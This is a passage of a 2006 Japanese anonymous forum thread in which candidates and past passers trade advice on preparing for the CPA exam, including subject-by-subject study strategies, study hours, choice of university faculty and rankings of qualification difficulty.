全ての受験者に対して共通して言えるこれはやった方がいい事、または効率的な方法は何でしょうか。 327 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/22(水) 13:13:08 ID:???] やったほうがいい事。 答練を受けた後に時間をおかずにすぐ復習すること。 その際、できなかったところはテキスト等に戻りしっかり確認すること。 最初のうちはできても、次第にきつくなってきてままならなくなってくる。 328 名前：一般に公正妥当と認められた名無しさん [2006/11/22(水) 13:16:55 ID:3ETwE7Z5] なるほど、ありがとうございます！ 入門・基礎期での学習が重要と言われていますが、とにかく復習に専念すべきという意味なのでしょうか？ 329 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/22(水) 13:17:56 ID:???] >>316>>320 会計士受験生のふりしてる税理士受験生乙 難しいとぶつぶつ云いながら一生高卒専用資格の税理士試験受けてなさい 330 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/22(水) 13:26:38 ID:???] >>328 まあそういうことだね。 すでに習ったところがしっかり身についていないのに新しいところをどんどん詰め込んでも 結局何も身につかないで終わってしまう。 日ごろから「１・２回やってるからもう大丈夫。」と思わずに少しのミスでも しっかり反省して丁寧に勉強しなおす姿勢が大事だと思う。 勉強する対象が膨大だとついつい個々の論点を雑にこなしちゃうからね。 331 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/22(水) 13:27:12 ID:???] 訂正 >>320は会計士受験生ぼいなとりあえずｽﾏｿ でもその言い方は少々まずいよ 332 名前：一般に公正妥当と認められた名無しさん [2006/11/22(水) 13:31:40 ID:3ETwE7Z5] あいがとうございます。非常に参考になります。 そうすると、やはり簿記等でつまずく方の原因の多くは、 簿記2級や3級レベルの内容が定着していないからなのでしょうか？ とにかく復習に専念し、謙虚な姿勢で今後の学習を進めていきたいと思います。 333 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/22(水) 13:56:32 ID:???] >>332 簿記２・３級は１級や税理士・会計士の簿記の土台となる基本的な知識だからね。 学習し始めの段階でその辺の知識は丁寧にマスターしておいたほうがいい。 がんばって。 334 名前：320 mailto:sage [2006/11/22(水) 16:35:04 ID:???] >>331 すでに受かって受験生は卒業したから。 確かに言い過ぎたから謝るが、お前もなんでもかんでも税理士受験生乙とか言ってんなよ。 335 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/22(水) 21:47:38 ID:???] >>334 お前がここから卒業したらいいんだよ！ぜんぜんおもいやる気持ちないな。 336 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/23(木) 01:18:18 ID:???] おもいやりｗ 甘えてんなよきめーなｗｗｗ 337 名前：一般に公正妥当と認められた名無しさん [2006/11/23(木) 18:57:26 ID:Iv8Jm5Yx] 来年、大学に行きながら会計士を目指す者ですが、 学部はどこが宜しいでしょうか？ 文系と理系、両方教えてください。 あと何かアドバイスでも有りましたら御願いします。m(__)m 338 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/23(木) 19:02:55 ID:???] >>309 クリスマスなんか日本人だと関係ないだろ？？馬鹿やろうが 339 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/23(木) 19:10:36 ID:???] >>337 どの大学であろうと単位がとりやすい学部にすべき。 あとゼミ必須じゃないほうが絶対楽だと思う。卒論無ければかなり違うと思う。 会計士の勉強は非常に時間を取られるので、大学生活に割り当てる時間は可能な限り少ないほうがいい。 大抵は大学で勉強する内容より専門でやる内容の方が難しいから、 大学での勉強を会計士の勉強に生かそうという発想はしないほうが良いと思う。 そういう意味では、専門でしっかり勉強して、その結果大学の単位を取りやすくするというのが 会計士合格にとっては一番妥当な考え方だと思うので、簿記や経営学、会社法、統計学 あたりが必修･選択科目にある学部が良いかもしれない。 340 名前：一般に公正妥当と認められた名無しさん [2006/11/23(木) 20:00:47 ID:2CN3enL/] >>339 なるほど、専門でやった高度な勉強を単位取得に役立て、 ういた時間をさらに専門に回すと言う訳ですね。 とても勉強になります。 数学または経営工学を志望だったのですが、止めた方が良いですね。 有難うございました。m(__)m 341 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/23(木) 21:09:38 ID:???] ttp://sr-isida.cocolog-nifty.com/blog/cat4865933/index.html 2006年11月13日 (月曜日) 資格の難易度NO4 今日は、資格の難易度を相撲の番付にしてみます。 東横綱　　　　　　弁護士　　　　　　　 　西横綱　　公認会計士 東張出横綱　　　不動産鑑定士　　　　 西張出横綱　　社労士 東大関　　　　　　弁理士　　　　　　　　 西大関　　　　司法書士 東張出大関　　　税理士　　　　　　　　 西張出大関　行政書士 東関脇　　　　　中小企業診断士　　 西関脇　土地家屋調査士 東小結　　　　　　マンション管理士　　 西小結　　　　　ＦＰ１級 東前頭1　　　　 ＣＦＰ　　　　　　　　　 西前頭１　アクチュアリ 東前頭２　　　　　１級建築士　　　　　 西前頭２　日商簿記１級 東前頭３　　　　　宅建　　　　　　　　　　西前頭３　　　　ＦＰ２級 大体合っていると思いますので参考にして下さい。 342 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/23(木) 21:16:30 ID:???] >>341 西前頭１　アクチュアリ ありえねええええええええええ このブログの人、全然わかってなさそうだね。 343 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/23(木) 22:12:27 ID:???] 合格者の方々にお聞きしたいことがあります。 私は08年の目標で公認会計士試験の勉強をしている者です。 一つは入門基礎期の自習時間はどれくらいとっていたのかということ。 もう一つはその自習時間の計算科目と理論科目の比率はどれくらいか。 最後に勉強の方法の具体的にしていたことを、計算と理論にわけて教えて頂けたらなと思います。 長々とすみません。よろしくお願いします。 344 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/23(木) 22:21:47 ID:???] >>343 圧倒的に計算重視。 理論はラスト一年でどうにでもなる。 最初から気合入れすぎて息切れしないようにね。 345 名前：一般に公正妥当と認められた名無しさん [2006/11/23(木) 23:46:08 ID:onOvwrwn] >>341 なんで税理士と行政書士が対等なんだよ。 行政書士なんて、税理士のオマケ資格だろうが。 あと税理士が社労士より下の番付なのも明らかにおかしい！ 346 名前：一般に公正妥当と認められた名無しさん [2006/11/24(金) 00:01:02 ID:23y2BXEO] 税理士は会計士のオマケだしなあ 347 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/24(金) 00:02:25 ID:???] >>345 確か昔は社労士も税理士のオマケ資格だった時代もあったよな？ まあ、そのサイトの人何故か社労士の評価が高いからそれは仕方あるまい。 税理士は試験組以外も含めて平均で慣らしたらそのランクもあながち 嘘でもない。 348 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/24(金) 00:14:39 ID:???] おまけ資格って言ってもなぁ 自分は試験組の税理士だけど行書の仕事なんて何にも知らんぞ。 うちの事務所は会計士二人が税理士登録して税理士法人を気取っているけど 税務関係の知識なんて先輩の生粋税理士のほうが圧倒的に持ってる。 349 名前：一般に公正妥当と認められた名無しさん [2006/11/24(金) 01:30:44 ID:Bnl/7TA9] 日商1級から税理士簿財って、ほんとにうかるんすかね(?_?) 350 名前：一般に公正妥当と認められた名無しさん [2006/11/24(金) 02:44:01 ID:BvL4DHct] >>349 しっかりした日商簿記の知識に学習積み重ねていけば、１級合格者の実力があれば合格できるよ。俺は日商簿記１級合格の翌年に簿と財合格したよ。 351 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/24(金) 06:51:03 ID:???] >>348 今年の試験から租税法が必修になったわけだから、そのうち、 税務関係の知識ゼロの会計士は左遷されるよ。 352 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/24(金) 08:13:52 ID:???] >>344 ありがとうです。 やはり基礎期は計算なんですね。 計算の勉強は、私は講義の復習として例題を解いてトレーニングを解いてと講義に合わせて問題を解くという形でやっています。この方法でいいですかね？(^^; あと基礎期からタックなどから出ているトレーニング簿記などの総合問題を解くほうが、アドバンテージになるでしょうか？ 353 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/24(金) 16:40:56 ID:???] ┐(ﾟ〜ﾟ)┌ 354 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/25(土) 02:25:01 ID:???] 私も今年5月から始めて08年を目標としている受験生です･･･ 352さんの質問、自分も気になります。 現在はなぜか理論の方に時間をかけすぎていたので、計算重視という344さんの アドバイスは非常に助かりました！ 355 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/25(土) 03:00:32 ID:???] 少なくとも基礎�U終わるまで計算だけでもいいくらいだろ 356 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/25(土) 08:21:44 ID:???] >>341 10月28日の日記、Ｆランク大の成城大のどこが一流日記なんだろう？ この社労士が成城大卒なのか。 357 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/25(土) 09:08:39 ID:???] さすが、３流大成城卒だなｗｗ と、私立超一流慶應経済卒不動産鑑定士＆税理士の漏れが言ってみる。 358 名前：一般に公正妥当と認められた名無しさん [2006/11/26(日) 11:54:44 ID:3pzpsxWA] 理学部数学科の人間と、経営工学部の人間が 公認会計士目指すのってどう思いますか？ 愚かでしょうか・・・ 359 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 11:57:19 ID:???] >>358いいんじゃない？ 360 名前：一般に公正妥当と認められた名無しさん [2006/11/26(日) 12:22:09 ID:QK0PLAz2] 数学全くできない人は、目指すべきではないのでしょうか？ 361 名前：一般に公正妥当と認められた名無しさん mailto:？？？ [2006/11/26(日) 12:24:22 ID:???] いまの慶應入りたければ誰でも入れる 362 名前：一般に公正妥当と認められた名無しさん mailto:？？？ [2006/11/26(日) 12:26:25 ID:???] ３６０ 数学できないけど１発合格したよ！がんばれ 363 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 12:27:26 ID:???] ３５７さんは、現在リーマンＯＲ開業ですか？ 自分も、再来週の発表でミニ税法受かったら、 ３５７さんと全く同じキャリアになります。 来年度夏あたりに開業予定しているんですが、 もし開業されているんでしたら、 メインはどちらですか？ 364 名前：一般に公正妥当と認められた名無しさん [2006/11/26(日) 12:30:45 ID:Y9gNNyeh] 芸能あればな 365 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 16:18:04 ID:???] >>358 結構理系出身者はいる。東工大とかいるよ。 金融工学だともうひっぱりだこ請け合い。 366 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 16:40:40 ID:???] 租税法の分量　計算と理論合わせて　はどれぐらいありますか？ 簿記と管理合わせたぐらいとも聞きますが 367 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 20:19:52 ID:???] 簿記以上ってことはない。 368 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 20:24:18 ID:???] 租税理論を完璧にしようとするなら簿記以上になりうるが、 そんな無謀なことを企てる輩はまず存在しない 369 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 21:56:14 ID:???] >>359 >>365 有難うございます。 がんばってみます。 370 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/26(日) 21:59:37 ID:???] 学部なんてどこでも言いと思うよ。 体育学部でも芸術学部でも神学部でもおｋ 371 名前：一般に公正妥当と認められた名無しさん [2006/11/26(日) 23:27:57 ID:XEFcSPH9] 合格率８％（＝９２％は落ちる）試験ですが、 ある程度の頭の人が、無職専念で一日１０時間勉強した場合の合格率ってどのくらいなんでしょうか？ 372 名前：一般に公正妥当と認められた名無しさん [2006/11/26(日) 23:44:34 ID:wBjQr2Ow] ある程度がどの程度か知らんが １５％くらいかと 373 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/27(月) 00:00:30 ID:???] 今年みたいに予備校の勉強があまり報われない内容の本試験でなければそんなもんでしょう。 10時間予備校にいる人は珍しくないけど10時間勉強している人は結構珍しいと思う。がんばってね。 374 名前：一般に公正妥当と認められた名無しさん [2006/11/27(月) 00:04:06 ID:IQuptiMI] 厳しいですね、それでも１５％・・。 375 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/27(月) 00:11:15 ID:???] ただし優秀な集団に加入できると30%くらいに上がる気もする。 去年ロンリーで論文落ち、今年加入で合格できた主観だが。 ロンリー勉強ならどうにかしてモチベーションを高く保て。 376 名前：一般に公正妥当と認められた名無しさん [2006/11/27(月) 00:28:18 ID:IQuptiMI] 大学入試で言えば早慶に受かるような優等生が、無職で１日１０時間くらい、会計士勉強１本に絞っても、 １，５年コースとかだと、合格率は１５％。２年目で３０％くらいですか？ ちょっと、新卒捨ててまで、懸けるリスクじゃないような気がしてきました。 377 名前：一般に公正妥当と認められた名無しさん [2006/11/27(月) 00:35:24 ID:HB3nXtsr] >>376 そんな覚悟ならはじめからやめとけ。この試験は必死でやっても 合格率は非常に低い。決死の覚悟でも合格可能性はたぶん15％もないだろ。 また大学入試は基準とならない。 頭が悪くても、そこそこ勉強すれば早稲田・慶応は誰でも受かる。 早慶レベルでは優等生とは言えない。 378 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/27(月) 02:21:19 ID:???] 慶應は無理だな。特に経済や商は。 数学できないと入学後も死ぬよ。 早稲田なら生きられるが。 379 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/27(月) 09:04:43 ID:???] トータルの勉強時間には個人差があるよね。どんなにかしこい人でも講義を入れて4000時間はしてると思う。 4000〜8000時間が妥当な時間じゃないかな。 380 名前：一般に公正妥当と認められた名無しさん [2006/11/27(月) 10:07:56 ID:bg1aOfJ1] 合格者の方は、入門期・基礎期での復習時間にはどれくらい割きましたか？ 381 名前：一発合格タッカー mailto:sage [2006/11/27(月) 10:39:08 ID:???] 入門期の過ごし方 会計士試験において一発合格をするためには入門期の過ごし方が最も大切。 よく入門期は計算重視という言葉を聞くがそれは半分正解で半分間違い。 入門期において計算科目(簿記・管理会計)は最重要科目ではあるが、 計算重視という言葉を「計算だけやればよい」と捕らえるのは間違いである。 入門期の理論科目、特に財表・監査はそのまま本試験で出題されてもおかしくない ことをやるのでおろそかにしてはいけない。さらに入門期に学習した項目を 間違える受験生が合格することはほぼないといっても過言ではない。 したがって、入門期は計算をメインに学習計画を立て、計算科目のテキストは 完璧にする(実力テストで100点を取る)ことを最低ラインとする。加えて理論科目は 講義に出席、復習、暗記すべき項目(定義など)は繰り返し暗記する。 理論暗記は細切れの時間でこなせるので電車の中や授業の合間などを利用して コツコツ覚えていくこと。この習慣づけが上級・直前期で生きてくる。 382 名前：一発合格タッカー mailto:sage [2006/11/27(月) 10:45:43 ID:???] 上級期短答前までの過ごし方 入門期で消化し切れていない項目がある場合には、上級に入る前に 必ず消化しきっておくこと。これができない場合には上級のペースには 絶対についていけない。 この試験において合格の王道は先行逃げ切り型である。 「おれは追い込み型だから」などということをほざく輩がいるがそれは 言い訳に過ぎない。この試験の本質が分かっていない。 「計算は年内に仕上げる」という言葉をよく目にするが、それは入門上がりの 受験生にとっては当てはまらない。ヴェテ向けの煽り文句である。 特に秋上級の受講生にとっては不可能である。 上級はただひたすら講義についていくこと、復習を欠かさないこと、 アクセスは必ず出席して提出・間違えた項目のチェック、この3点を 肝に銘じて過ごす事。入門期にしっかり勉強していればこの程度のことは こなすことができる。 383 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/27(月) 10:46:50 ID:???] 一応慶応生単独の合格率は12パーくらいだから10時間やれば20パーくらいにはなる。と思いたい。 384 名前：一発合格タッカー mailto:sage [2006/11/27(月) 10:52:45 ID:???] 短答直前期の過ごし方 短答に特化すべき時期は第1回論文式全答練の後がベスト。それまでは 租税・選択も満遍なく勉強すること。(ただし経営の場合はテキストを読む 程度でもよい。) 短答だからといって何か特別な勉強方法があるわけではない。 短答特化=租税・選択を一時中断する といった意味合いで捕らえて欲しい。 短答は五肢択一という問題形式なので短答ならではの解答方法が あるように錯覚しがちだが、あくまで与えられた問題を解けば自然と正解に たどり着く。テクニックなど不要。 あえて言えば、マークミスや問われているものを間違えないといった基本的な ことであるが、この程度のレベルのことでミスを犯すのは受験生として失格である と考えるべきである。 385 名前：一発合格タッカー mailto:sage [2006/11/27(月) 11:04:03 ID:???] 論文直前期の過ごし方 短答後合格発表までだらだらとすごすのは合格したくありませんと 言ってるようなものである。短答後翌日からとは言わないが なるべく早い時期に勉強を再開しなければならない。 短答後まずやるべきことは第２回論文全答練までに全科目全項目に 一通り目を通すことである(いわゆる短答論点はテキストを一読する 程度でよい)。そして短答の頭から論文の頭に切り替えることである。 そして最も重要なことは計画を立てて穴のない無理のない勉強を 心がけることである。直前答練にあわせて勉強するというのはあまり お勧めできない。 この論文直前期については自習室や図書館・自宅などにこもって 勉強に集中すべき時期であって、息抜きと称して酒を飲む、どこかに 遊びに出かけるなどはもってのほか。人生をかけて望むヴェテに 入門上がりが勝つためには2月半くらい勉強に集中できなければ ならない。 とかくこの時期は精神的にきつい。受験仲間と休憩室ですごしてしまう 気持ちも分からなくはないが、このきつい時期を乗り越えてこそ合格 できるということを肝に銘じて欲しい。 386 名前：一発合格タッカー mailto:sage [2006/11/27(月) 11:15:51 ID:???] 簿記の攻略法 簿記は多くの受験生が最重要科目と位置づける科目である。 簿記は答えが数字なので点数がはっきりとし、差がつきやすい 科目である。従って簿記で安定して高得点を取れるようになることが 合格への近道である。 簿記はとにかく入門期である。入門期には実力テストがあるが これはとにかく100点を目指せ。テキストに載ってる項目しか 出題されないのだから不可能ではない。実際100点を取る人間が 周りには少なからずいるはず。講師のいう平均点・目標点に 惑わされないこと。100点を取れなかった場合には猛省し 間違えた項目をテキストにもどり再度確認し解きなおしでは 必ず100点を取れるようにする。 入門期ではトレ簿を繰り返しとくことも忘れずに。講義の復習に 利用すべし。過年度アクセスには手を出すな(トレ簿は過年度の アクセスの良問を編集したものであるからこれで十分)。 上級の簿記はテキストの例題をこなすだけでいいと思う。 繰り返し解いて知識を定着させること。 上級期ではアクセス、答練、問題集といった総合問題を １日１問かならず解くこと。 387 名前：一発合格タッカー mailto:sage [2006/11/27(月) 11:22:00 ID:???] 管理会計の攻略法 管理会計は入門期においてはまず計算をマスターすること。 理論をかけるようになる必要はまったくない。 計算をマスターする際に知っておくべき最低限の知識として 理論的背景を抑える程度でよい。 管理会計においても簿記と同様入門期の実力テストでは 100点を目指すこと。トレ原も忘れずに。 上級では計算は入門で扱っていない項目を取り扱うが さほど難しいものではないのでしっかりマスターすること。 加えて理論だが、管理会計の理論はアクセスの理論を 解くことでマスターできる。テキストの読み込みよりも アクセスの復習の方が有用と思われる。 管理会計は短答式の問題を解くことで論文の成績アップに 直結することも覚えておいて欲しい。だから、管理会計は 短答後は理論に注力できるよう短答式の計算問題をこなすべきである。 388 名前：一発合格タッカー mailto:sage [2006/11/27(月) 11:29:19 ID:???] 財務諸表論の攻略法 財表は入門期をおろそかにすると上級で苦手科目になることは必至。 入門期のうちから講義で取り扱った定義の暗記、企業会計原則、 会計基準の読み込みは欠かさないこと。これが必ず上級期で生きてくる。 財表の上級はテキストも厚く進度も速いのでまずは理解、そして 暗記はコツコツ地道に進めていくこと。答練ではヴェテが満点近くの 点数をたたき出し圧倒されるが気にする必要はまったくない。 さらにいちばんやってはいけないのがテキストの章末問題を暗記すること。 こんな無駄な労力を使って受かる試験ではない。絶対にやらないこと。 会計基準(前文含む)の読み込みは普段からすること。短答直前になって さあ読もうかなどと悠長なことは言ってられない。そんなことをしている余裕などない。 普段から読むことを習慣付けておけば論文でも必ず成績は上がる。 389 名前：一発合格タッカー mailto:sage [2006/11/27(月) 13:33:34 ID:???] 監査論の攻略法 監査論はテキストも薄く、他の科目に比べ講義回数も少ないので 軽い科目と捉えがちだが、そういう考えでは後悔することになる。 監査論は入門期で学習したものを上級でも繰り返す余裕があるためか 入門期は受けなくてもよいなどと考える者もいるがそれは大きな誤り。 入門期でしっかりマスターすれば上級で楽できる、他の科目に時間を割ける といった考え方をしなければならない。この試験は限られた時間をどのように 配分していくのかが合格の鍵である。 監査論は暗記すべき事項が多いためか暗記に終始してしまいがちだが 監査論で最も必要なことは理解して、問題点に対して理論的に解答を 導き出せるかどうかである。したがってテキストやレジュメをつかって 体系的な学習を心がけること。 390 名前：一発合格タッカー mailto:sage [2006/11/27(月) 13:41:10 ID:???] 企業法の攻略法 企業法を勉強する上でいちばんやってはいけないのは 財表と同様に与えられた解答例を丸暗記することである。 企業法は全科目の中で論文と短答で勉強方法が最も異なる 科目である。とはいえ、根底にあるのは会社法であるのだから 論文・短答問わず傍らに常に条文を置き何度も繰り返し条文を 読むことが企業法学習のスタートラインである。 企業法の短答は条文の読み込みと短答答練を繰り返しとくことで 容易に合格点を取ることができる。一方で論文は一朝一夕で 合格点を取ることは難しい。上級期の答練で目を覆いたくなる 点数を取ることもあるだろう。そこで解答例の丸暗記に走って しまうのはだめである。答練を繰り返すことで自分にはいま 何が足りないのか、どうやって勉強して何を覚えればいいのか、 何は条文に載っているから覚えなくていいのか、といったことを 体験して身に着けていくのが成績向上の第一歩である。 391 名前：一発合格タッカー mailto:sage [2006/11/27(月) 13:50:39 ID:???] 租税法の攻略法 まず初めに租税法は今年から始まった科目であり 会計士受験生にとっては非常に取り掛かりにくい科目で ある。しかし、租税法を得意にすることは合格の近道でも ある事を知って欲しい。 まず、今年の試験を見て分かるように理論のウエイトが 非常に大きい。しかし理論とはいえ、計算の学習をするなかで 学ぶ制度や条文について問われているものなので 取り立てて理論の学習をしなければならないものではない。 では計算問題がただ単に解けるようになるような勉強方法で いいかといえばそんなことはない。 私見では予備校の講師はただ単に計算パターンの暗記を 促す指導しかしていない。それでは理論は絶対に書けない。 企業法と同様に、なぜこの制度があるのかといった制度趣旨 からしっかり理解して、どういった場合にこの制度の適用が あるのかも抑えてから計算パターンの勉強に進まなければならない。 こういった手順で勉強すれば計算パターンの暗記もスムーズに 行き、理論も書けるようになる。その後で総合問題を数多くこなせば 租税法で大きなアドバンテージを得ることが可能となる。 392 名前：一発合格タッカー mailto:sage [2006/11/27(月) 13:56:39 ID:???] 経営学の攻略法 経営学は最も分量の少ない科目でありそういった観点から 選択科目として経営学を選択する受験生が多いと思う。 その選択自体には問題はない。 しかし経営学は以前ほどではないにしろ試験委員の色が 出やすい科目でそういった意味でリスクの高い科目である ことも知っておくべきである。 経営学についてはもちろん短答がないので短答前には あまり細かいことにはこだわらず大まかな概要をまず 抑えること。その削った勉強時間を他の科目に当てるほうが 合格には近づく。 短答が終わると細かい項目も覚えていかなければならないが 定義の暗記が必要なものは数えるほどしかなく、さらに 条文や基準に明記されているものではないので一字一句 覚えなければならないものはないので、テキストの読み込みが 重要である。 さらに試験委員特有の項目は講義で取り扱ったもの以上の ことには手を出さず、知らないものは知らないと割り切ることも 必要である。 393 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/27(月) 22:17:41 ID:???] 3年目ヴェテで合格した者だが↑の一発さんは 誘惑に負けずに、怪しい情報に惑わされずに頑張ったんだなーと思う。 俺はバイトもあったし一日6時間くらいしか勉強しなかったよ。 一発さんに比べてどれだけ時間を無駄にしたのやら。 簿記について個別の総合問題は不要だと思う。重複部分多いし。 管理会計と同様に短答用問題集を繰り返し解くことを勧めておく。 個別は基礎力の集積だと思うので。 連結は総合問題解きまくってパターンを抑えたほうがよいでしょう。 394 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/27(月) 23:52:58 ID:???] 非常に参考になりました、有難うございます。 395 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/29(水) 07:49:00 ID:???] タック入門なんだけどトレ簿ってかなり重要ですかね？やはり取り組むべきでしょうか？ 396 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/29(水) 09:28:43 ID:???] 入門生というのはもう07？08？ トレ簿は過去のアクセスの再編纂したもの，かつ上級前の知識でほぼ解ける問題なので 07目標だったら今やっているアクセスや答練の復習を優先すべきかな。 今年のアクセスを切るならいいけど・・・という感じ。 08目標ならまずテキスト優先。だけど上級と合流する前には上級の内容をつかむためにやっといたほうがよい。 1巻はやさしいので2巻からやればよいと思う。3巻は結構しんどいのでがんばって。 もちろん会社法対応してから買うこと。 397 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/29(水) 11:12:47 ID:???] >>396 レスありがとうです。08年目標です。テキストの基本問題とトレーニングを完璧にしてから、トレーニング簿記に取り組んでみます。 あと基礎期には理論科目はどこまで取り組まれました？私は理解力が乏しく内容を理解するだけで復習の時間が取られてしまい、なかなか暗記に時間を割けれません。やるべきことの最低限の目安みたいなものはありますかね？(^^; 398 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/29(水) 11:38:02 ID:???] >>341 弁理士＝アクチュアリ＞弁護士（旧制度）＞＞公認会計士＝弁護士（新制度）＝税理士（酒固徴以外）＞不動産鑑定士＞司法書士＞＞＞以下誤差の範囲 弁理士とアクチュアリはガチで難しい。 399 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/29(水) 12:10:11 ID:???] 自分は一発合格でないので>>381-392の大作を参考にすればよいと思う。 ものすごく優秀な人のようですが，一発のためにはこれぐらいの努力が必要かも。 個人的には暗記しておくと答練でいい点取れるので，やる気につながる人は暗記バシバシやればよいが 授業でやったところを1,2日のうちにテキストでなく基準や条文で読んで復習するというのが理解が深まり本番に向く気がする。 財表で設定前文がある場合は必ずここを読むこと。 暗記は電車の中なり寝る直前なり隙間時間を活用すればよい。 400 名前：一発合格オオハラ mailto:sage [2006/11/29(水) 14:34:22 ID:???] 上の一発合格タッカーの長文は参考になると思うよ。 だいたい俺と考え方同じだ。 まあ強いて付け加えるなら、理論科目は分量に応じて均等に時間を割くよりも 一番苦手な科目を多めにやることが大事な気がする。 得意科目を伸ばすよりもとにかく苦手意識をなくすことが重要。 401 名前：一発合格タッカー mailto:sage [2006/11/29(水) 16:49:01 ID:???] >>397 暗記は時間を割いてやるものではない 時間を見つけてやるもの 上にも書いたが電車の中、風呂の中、トイレの中、飯を食いながら、駅まで歩きながら いつも10分前に教室に入るのを20分前にする、昼休みを10分短縮するなど・・・ いくらでも時間はある。 解き終わった問題の裏の白紙に覚えるべき項目を書いて それを小さくたたんでいつもカバンやコートのポケットに忍ばせつつ覚えるのがいいと思う。 最低限の目安といっていいか分からないが おれが出席していた講師は覚えるべき項目の指示をいちいちしてくれていたので その指示された項目は全部覚えるのが最低ラインと思って勉強していた。 402 名前：一般に公正妥当と認められた名無しさん [2006/11/29(水) 20:45:31 ID:Jra2Avjs] 今、２６歳マーチ卒です。 今から退職して、１日１０時間くらい専念してがんばれば、合格できますかね？ 簿記は２級です。 403 名前：一発合格タッカー mailto:sage [2006/11/29(水) 20:48:22 ID:???] いつも思うが 勉強は時間じゃない、中身だ 404 名前：一般に公正妥当と認められた名無しさん [2006/11/29(水) 21:11:29 ID:OFBapItM] すいません、本当初歩的な質問で申し訳ないんですけど。 現在08年目標の入門生です。 最低限必要な書籍なのですが、 ポケット六法（企業法）と会計法規集（財務諸表）だけでいいでしょうか？ またこれらは改訂されるたびに買いなおすべきでしょうか？ Q&Aスレらしきものが無かったので、このスレッドになっちゃいました、よろしく御願いします。 405 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/29(水) 21:38:40 ID:???] >>402 07年なら99%無理 08年なら可能性あり 406 名前：一発合格タッカー mailto:sage [2006/11/29(水) 21:40:25 ID:???] 外販の法規集的なものはその2点で十分。 試験において適用される条文、基準に対応していればそのままでよいと思う。 ちなみに会社法に関しては、中央経済社からでてる 重要条文ミニ解説付の法文を使ってた www.chuokeizai.co.jp/cgi-bin/asearch2.cgi?&NUM=4-502-94380-0 これは、条文にいろいろ書き込むスペースがあったから重宝した。 407 名前：一般に公正妥当と認められた名無しさん [2006/11/29(水) 21:52:46 ID:OFBapItM] >>406 レスありがとうございます！ 明日本屋に行って使いやすそうなのを探そうと思っています、 中央経済社のは真っ先にチェックさせてもらいます＾＾ すいません、さらに質問させていただいて宜しいでしょうか？ 判例が書いてあるのと書いていないのとがあるようなのですが、 判例は書いていないのでも大丈夫でしょうか？ 実は企業法は先週に入門第一回目の授業があったばかりなのですが、 講師が「論文・短答ともに判例を覚えて書けるようにするのが 一番戦略的に良い」みたいなことを言ってたので、 『判例』という言葉に凄く敏感なんですが（笑）、 法規集には判例は載って無くても大丈夫でしょうか？よろしく御願いします。 408 名前：一発合格タッカー mailto:sage [2006/11/29(水) 21:54:39 ID:???] 六法はタックの受付においてあるポケット六法で十分。 判例？そんなの必要ない。 それに必要な判例はテキストに載ってる。 409 名前：一般に公正妥当と認められた名無しさん [2006/11/29(水) 21:59:30 ID:OFBapItM] >>408 なるほど！判例はテキストや講師の板書・レジュメで登場するものを覚えれば十分なんですね。 実は僕もTACなんで、そのアドバイスは極めて実践的ですねｗ 受付で割引購入ができますし。 では後は見易さ、扱いやすさで選ぼうと思います！！ 色々とありがとうございました！ 410 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/29(水) 22:13:47 ID:???] >>402 おまいが東大にギリギリで落ちてマーチに行ったのなら一日１５時間の勉強をすればひょっとすると受かるかも。 正直、それでもかなり厳しいと思うけどね。 ０８年目標なら今から一日１５時間勉強すれば受かる可能性は大。 >>409 従来の商法に不具合があったから新会社法が作られた。 勉強していくとわかるけど、判例が古くて今では少数説だったりすることが多々ある（次に最高裁まで行けば確実に判例が変わる）ので、判例は気にしない方がいい。 411 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 01:05:40 ID:???] 08目標だけどあと一年半、一日10時間もできない…。絶対受かりたいんだけどさ 412 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 02:17:17 ID:???] なんで絶対うかりたいの？ 413 名前：一般に公正妥当と認められた名無しさん [2006/11/30(木) 08:18:56 ID:/V1MA3S+] ０９年目標ですが、 今から簿記２級、簿記１級と働きながらめざし、 来年１１月から退職し無職専念で、ＴＡＣ１，５年コースに入ろうと思います。 